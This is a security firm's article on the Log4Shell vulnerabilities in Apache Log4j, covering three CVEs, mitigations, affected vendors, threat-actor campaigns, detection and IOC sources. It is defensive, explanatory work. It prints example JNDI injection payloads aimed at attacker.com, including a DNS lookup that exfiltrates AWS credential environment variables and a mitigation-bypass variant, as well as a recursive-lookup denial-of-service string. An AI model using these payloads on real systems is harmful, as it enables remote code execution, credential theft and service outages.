Log4shell full picture: All the vulnerabilities affecting Log4j
Table of Contents
Vulnerabilities affecting the Log4j component have triggered a worldwide earthquake. Tarlogic presents a series of recommendations to prevent and contain the threats regarding Log4Shell
It’s one of the biggest vulnerabilities of the last decade, perhaps the biggest. The shock within the cybersecurity community due to the appearance of Log4Shell has been global, to the extent that today we believe that there is no one in the IT sector who does not know the different vulnerabilities that affect the Log4j component.
That is why the Cybersecurity team at Tarlogic Security has prepared an exhaustive analysis of the incident. In this article we detail the different vulnerabilities and provide a series of recommendations to prevent and contain possible threats from Log4Shell.
What is Log4j?
Log4J is a Java-based open source component maintained by the Apache Foundation that is commonly incorporated into Java applications. It allows to record traceability of operations at a functional and operational level in a multitude of services, even from a security point of view.
What is JNDI?
JNDI (Java Naming and Directory Interface) is an application programming interface (API) that provides access to naming and directory services to reference objects and data that can be integrated into the software infrastructure. Being an abstraction layer, it allows supporting a multitude of protocols such as LDAP, RMI, CORBA, etc. Below is a JNDI integration model on different types of services, obtained from the official Oracle documentation:
The origin
On November 29, information about different problems that could affect the security of the applications that make use of this component was recorded in the Apache incident management platform for the Log4j project.
• https://issues.apache.org/jira/browse/LOG4J2-3198
• https://issues.apache.org/jira/browse/LOG4J2-3201
This information reveals the possibility of taking advantage of certain characteristics defined by the Log4j project and its integration with JNDI to carry out different attack vectors that could lead to remote code execution.
By injecting specially crafted strings on the messages generated by the Log4j component, it would be possible to seriously compromise the security of those products that make use of this component.
Initially, both the org.apache.logging.log4j: log4j-core module and the org.apache.logging.log4j: log4j-api module were thought to be vulnerable, however, Apache foundation confirmed that the various vulnerabilities identified only affected log4j-core module.
Vulnerabilities published in chronological order
- CVE-2021-44228
- Published date: 10/12/2021 (NVD).
- Base Score: 10.0 (Critical).
- CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Affected versions: Apache Log4j2 2.0-beta9 a 2.12.1 y 2.13.0 a 2.15.0.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228
This vulnerability allows an attacker who can control data input that is reflected in the logs of an application through the affected component Log4j could lead to arbitrary code execution. This possibility is related to the functionality of the component, which is activated by default in versions lower than 2.15.0, to dynamically replace certain strings.
The exploitation vectors vary depending on the type of payload and service provider used. Although the most widespread is LDAP, exploitation vectors have also been evidenced, for example through RMI. In this sense, some of the most common payloads are the following:
${jndi:ldaps://attacker.com/exploit}
${jndi:rmi://attacker.com/exploit}
The evaluation of these payloads would trigger a connection against an external service that could host malicious code that would be executed by the application.
It should be noted that it is also possible to make use of the DNS service provider. In this case, the payload would not allow a code execution by itself, it could be exploited both to identify a vulnerable application, as well as to exfiltrate possible environment variables that store sensitive information.
An example of this sensitive information could be API keys of platforms integrated in an application such as cloud services from AWS, Azure or Google Cloud.
${jndi:dns://${env:AWS_ACCESS_KEY_ID}.${env:AWS_SECRET_ACCESS_KEY}.attacker.com}
2. CVE-2021-45046
- Published date: 14/12/2021
- Base Score: 9.0 (Crítica)
- Vector CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
- Affected versions: 2.0.1 – 2.12.2 (excluded) y 2.13.0 – 2.16.0 (excluded)
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
Initially assigned with CVSS Score 3.7 (low risk).
https://web.archive.org/web/20211217105731/https://nvd.nist.gov/vuln/detail/CVE-2021-45046
However, over the days it was shown that remote code execution was still possible in certain environments, as well as the disclosure of information from server environment variables that could contain sensitive information. For this reason, its criticality level was raised to a value of 9.0.
The following payload allows to evade the mitigations defined by Apache after updating the component:
${jndi:ldap://127.0.0.1#attacker.com/exploit}
The Log4j version 2.16.0 (Java 8) and 2.12.2 (Java 7) correct this vulnerability by disabling the JNDI and message search pattern functionalities by default.
3. CVE-2021-45105
- Published date: 14/12/2021
- Base Score: 7.5 (High)
- CVSS 3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Affected versions: Log4j2 versions 2.0-alpha1 hasta 2.16.0 (included).
In cases of log trace configurations in which recursive resolutions are used, it is possible to generate a StackOverflow exception that may lead to the termination of the vulnerable application process, giving rise to a denial of service (DoS) vulnerability.
An example of a payload that allows this vulnerability to be reproduced is detailed below:
${${::-${::-$${::-j}}}}
This vulnerability is fixed in Log4j versions 2.17.0 and 2.12.3.
Log4shell mitigations
Although there are several workarounds proposed by the Apache foundation in order to reduce the risk of exploitation of this vulnerability, the main solution that is considered really effective is to update the Log4j component to the latest version available, currently available. Log4j version 2.17.0 (Java 8) and 2.12.3 (Java 7).
Workarounds published by Apache
For cases where it is not possible to apply the recommended main upgrade solution, as additional defense-in-depth measures, there is the possibility of carrying out the following workarounds published by Apache.
–For Log4J versions 2.10.0 and later:
- Dlog4j2.formatMsgNoLookups=true to disable the variable extrapolation.
- set LOG4J_FORMAT_MSG_NO_LOOKUPS=true environmental variable to achieve the above behavior.
- NOTE: The possibility of remote code executions remains under some specific non-default circumstances.
-For all versions:
- Remove JNDILookup class from the jar and repackage the jar and the application (This solution must be evaluated as it could affect the application availiability).
find ./ -type f -name “log4j-core-*.jar” -exec zip -q -d “{}” org/apache/logging/log4j/core/lookup/JndiLookup.class \;
Affection in Java versions
In updated versions (Java 11.0.2 or higher or Java 8u192) the injection of arbitrary classes from external resources is disabled.
This makes it difficult for attackers to exploit. However, it has been shown that, on the one hand, it is still possible to force DNS resolutions to external servers, which can be used to exfiltrate sensitive information from system variables and cause potential denials of service.
On the other hand, the possibility of continuing to achieve remote code execution depending on the classes available in the application’s classpath through “gadget chains” techniques has also been detected. While the complexity of achieving this exploitation is considerably higher, it is still possible.
For this reason, the main mitigation route that is considered effective is to update the Log4j library to the latest version, currently 2.17.0 and 2.12.3
Affected software
It should be noted that many open-source and commercial solutions have been affected by this vulnerability and have published or are working on the publication of corresponding patches. Studies carried out by Google indicate that 8% of the packages in the central Maven repository have been affected by this vulnerability.
https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html
To be aware of the magnitude of the possible impact of this vulnerability, it is only necessary to take a look at the advisory publications of many manufacturers and service providers globally. Here is a short list (which continues to grow).
- Apple
- Intel
- Amazon
- Oracle
- VMWare
- IBM
- Cisco
- Redhat
- Attlasian
- BMC
- Fortinet
- F5
- McAfee
- Baidu
- Tesla
- Palo Alto
- Sonicwall
- Solarwinds
Additionally, a large number of open source and commercial solutions are also affected, such as those shown below:
Most applications that use Java in their infrastructure:
- Apache Struts
- Apache Struts2
- Apache Tomcat
- Apache Spark
- Apache Solr
- Apache Kafka
- ElasticSearch
- flume
- Logstash
- IBM Qradar SIEM
- NetApp
- Pulse Secure
This situation highlights the broad integration of this component. Integration of this module is that common that even NASA’s Ingenuity Helicopter makes use of Log4j.
Due to the nature of the vulnerability, its ubiquity, and the complexity of patching in some of the affected environments, it is important that all organizations assess their potential exposure as soon as possible.
Given the immensity of vulnerable products, we link below an inventory of affected software, compiled by the National Cybersecurity Center of the Netherlands:
https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
Active exploitation
As already happened on other occasions, the exploitation of this vulnerability by hostile actors has already been detected by the Microsoft intelligence center (MSTIC), with special emphasis on the activity of these groups originating in China, Iran, Korea. North and Turkey.
Specifically, they have identified HAFNIUM, a group of threat actors that operates outside of China, uses the vulnerability to attack virtualization infrastructures to extend their objective.
Log4shell ransomware campaigns
It was not necessary to wait long to see this vulnerability incorporated as an attack vector for ransomware infections. Despite the fact that most of the attacks targeted Linux systems, Bitdenfender has identified campaigns by malicious actors to deploy ransomware belonging to the Khonsari family on Windows environments.
https://www.virustotal.com/gui/file/f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789
Additionally, Microsoft’s intelligence operations center has observed PHOSPHORUS, an Iranian actor that has been implementing ransomware by modifying the Log4j exploit.
Botnets & Log4shell
Different actors linked to Botnets such as (Mirai and Muhstik) have been identified taking advantage of this vulnerability in order to affect systems and expand their infrastructure.
https://blog.netlab.360.com/threat-alert-log4j-vulnerability-has-been-adopted-by-two-linux-botnets/
Miners & Log4shell
If it was not enough, different actors have also been identified deploying scripts for the execution of the XMRIG mining software.
Déjà vu / Learned lessons.
Given the wide acceptance of a large number of commonly used software components, it is not expected that this situation will happen again in the not too distant future. For this same reason, from Tarlogic we provide a series of general recommendations to try to optimize the application of solutions to similar and specific scenarios such as the case of log4shell.
Keys to anticipating possible future situations.
The only way to deal with such challenges is to follow a defense-in-depth approach to security. Below, we provide different measures to follow both to anticipate and to deal quickly with a possible incident such as the one that has occurred.
1. Asset inventory
It is completely necessary to have an updated inventory of assets in order to identify the possible impact that a vulnerability could have on the organization’s technological infrastructure.
In this sense, it is interesting to know first-hand both the dependencies included in software projects, especially in those platforms that are published on the Internet in order to evaluate the degree of exposure and the potential risk in this type of situation.
In this specific case, the vulnerability affects both software deployed in production applications as well as daily applications deployed on workstations of workers in the organization and even on embedded systems.
2. Perimeter security
In the case of t publicly exposed, as a defense-in-depth measure, it is highly recommended to have proactive detection systems such as firewalls, WAF (Web Application Firewalls) or IPS (Intrusion Prevention Systems) systems that allow blocking offensive input patterns. Although initially there may not be specific rules for exploiting new vulnerabilities, manufacturers are proactive in generating and updating new rules, so it is important to update these types of systems as soon as possible.
In many cases, the application of these measures, despite not being definitive solutions, can usually be carried out more immediately than software updates to infrastructure components, so they can be very useful as a first line defense and provide an additional time margin for the application of specific updates.
For example, the case of log4shell has resulted in 3 vulnerabilities and the investigation of other possible attack vectors is still in progress. It is interesting to know the types of communications and protocols carried out by corporate platforms and restrict any type of initially unintended traffic.
3. Continuous monitoring
In order to detect an attempt or successful exploitation of a vulnerability on corporate infrastructure systems, it is necessary to have traceability of malicious activities in order to pose a response to incidents or have greater visibility of potential threats that may affect the systems. of the organization.
4. Response
If an organization has been the victim of a successful exploitation of the vulnerability, it is necessary to activate the previously defined incident response protocols in order to contain the malicious activity of an external malicious actor. These tasks include both the identification of affected systems, restricting any type of lateral movement and the sanitation of the infrastructure.
5. Update
We are aware that the update tasks of corporate platforms or systems can be a difficult depending on the capabilities and maturity of a company. These types of activities can include tasks that affect different departments of the organization both from the point of view of the development teams and the systems administration department.
From the point of view of development teams, it is of special interest to adopt CI / CD paradigms that allow prioritizing the application of corresponding updates on the deployed platforms. Taking into account the guidance of systems administration teams, it is useful to have scan tools on the inventory of vulnerable versions of applications to be able to prioritize the application of security updates on affected products.
The overall approach at this point would be to have a DEVSEC OPS perspective.
Spanish: https://www.redhat.com/es/topics/devops/what-is-devsecops
English: https://www.redhat.com/en/topics/devops/what-is-devsecops
Specific recommendations for Log4shell
Below we detail a set of measures in order to mitigate the possible exploitation of this vulnerability:
Detections tools:
- Snyk CLI – It allows to identify dependencies of vulnerable components.
https://snyk.io/blog/log4shell-remediation-cheat-sheet/
- https://github.com/bi-zone/Log4j_Detector
- https://github.com/mergebase/log4j-detector
- https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b (LINUX)
- Snyk Containers (https://snyk.io/product/container-vulnerability-management/)
- https://snyk.io/blog/find-fix-log4shell-quickly-snyk/
Measures to detect exploitation attempts
In order to analyze attempts to exploit the infrastructure, it is advisable to search for events that contain the sequence of characters “jndi” and a combination of strings that include “ldap”, “rmi”, “ldaps” or “dns”, generated from HTTP/s requests, which correspond to possible log4j exploitation patterns.
To do this, you can create regular expressions that try to identify these strings in injection contexts, which in many cases include vectors that try to obfuscate the original payload. An example of a regular expression to detect the string $ {jdni: could be the following:
(?i)(\$|\%24)({|\%7b).j.n.d.i.*(\:|\%3a)
It must be taken into account that the regular expressions used do not detect all the variations and can generate false positives.
References:
https://snyk.io/blog/log4j-vulnerability-software-supply-chain-security-log4shell/
Indicators of compromise (IOCs)
Different entities have compiled an inventory of IOCs that contain IP addresses from which malicious activity has been identified, as well as the corresponding payloads.
Some of them are listed below.
- Microsoft – https://raw.githubusercontent.com/Azure/Azure-Sentinel/master/Sample%20Data/Feeds/Log4j_IOC_List.csv
- SANS – https://isc.sans.edu/api/webhoneypotreportsbyurl/jndi
- https://gist.github.com/superducktoes/9b742f7b44c71b4a0d19790228ce85d8
- Critical Path Security – Public Intelligence Feed – https://raw.githubusercontent.com/CriticalPathSecurity/Public-Intelligence-Feeds/master/log4j.txt
Mitigation recommendations for cloud infrastructures
Additionally, different cloud service providers have published a series of mitigation guides for the different Log4j vulnerabilities.
Microsoft Azure
Google Cloud
- Google Cloud Security Advisory – https://cloud.google.com/log4j2-security-advisory
- How to detect Log4Shell vulnerabilities – https://cloud.google.com/logging/docs/log4j2-vulnerability
- Google Cloud Recommendations for Investigating and Responding to Apache “Log4j” Vulnerabilities – https://cloud.google.com/blog/products/identity-security/recommendations-for-apache-log4j2-vulnerability
Amazon AWS
• AWS security services to protect and respond to log4j vulnerabilities – – https://aws.amazon.com/es/blogs/security/using-aws-security-services-to-protect-against-detect-and-respond-to-the-log4j-vulnerability/
The guide details how to make use of:
- AWS Web Application Firewall as well as its managed rules to protect different services.
- AWS Network firewall to deploy Suricata compliant IDS / IPS detection rules.
- Amazon Inspector for Identifying Vulnerable Components on Amazon EC2 and ECR Instances
- AWS Patch Manager to manage the upgrade of EC2 instances
- AWS GuardDuty to detect signs of vulnerability exploitation based on detected suspicious behavior.
- AWS CloudWatch to detect VPC traffic logs related to the exploitation of Log4Shell.
Conclusions
The Log4Shell vulnerability has revealed that any software component can unexpectedly introduce a critical impact risk to our applications. Although the use of third-party libraries and components to optimize software development is very common, the appearance of security problems in these resources can lead to global risks that require a quick response.
At Tarlogic we have been working with our clients from the first moment this vulnerability was identified, contributing our knowledge to mitigate and contain any type of threat.
Discover our work and cybersecurity services at www.tarlogic.com
This article is part of a series of articles about Log4Shell
- Log4Shell vulnerability CVE-2021-44228, the new cyber-apocalypse
- Tracking JNDI attacks: Hunting Log4Shell in your network
- Log4shell full picture: All the vulnerabilities affecting Log4j